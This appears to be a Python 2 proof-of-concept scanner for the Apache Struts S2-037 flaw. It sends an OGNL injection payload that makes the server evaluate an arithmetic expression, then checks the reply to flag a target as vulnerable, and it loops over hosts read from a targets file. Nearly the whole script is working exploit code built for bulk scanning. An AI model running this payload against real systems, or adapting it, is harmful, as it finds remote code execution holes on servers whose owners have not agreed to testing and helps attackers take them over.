#!/usr/bin/env python # -*- coding:utf-8 -*- import time import requests import argparse ''' proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080', } ''' def verity(url): s2037_poc = "/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3F((%23writ%3D(%23attr%5B%23parameters.com%5B0%5D%5D).getWriter())%2C%23writ.println(3345*2356))%3Aindex.xhtml?com=com.opensymphony.xwork2.dispatcher.HttpServletResponse" try: poc_url = url+s2037_poc print "[checking] " + url s = requests.session() #res = s.post(poc_url, timeout=4, proxies=proxies) res = s.post(poc_url, timeout=4) if res.status_code == 200 and "7880820" == res.content.rstrip(): print "{url} is vulnerable S2-037.".format(url=url) else: print "{url} is no vulnerable..".format(url=url) except Exception, e: print "Failed to connection target, try again.." parser = argparse.ArgumentParser() parser.add_argument('-u', help='the target url.') args = parser.parse_args() args_dict = args.__dict__ try: f = open('targets.txt', 'r') urls = [] for line in f: urls.append(line.splitlines()[0]) print urls for url in urls: #print "testing "+url verity(url) time.sleep(1) except Exception,e: #print parser.print_usage() exit(-1)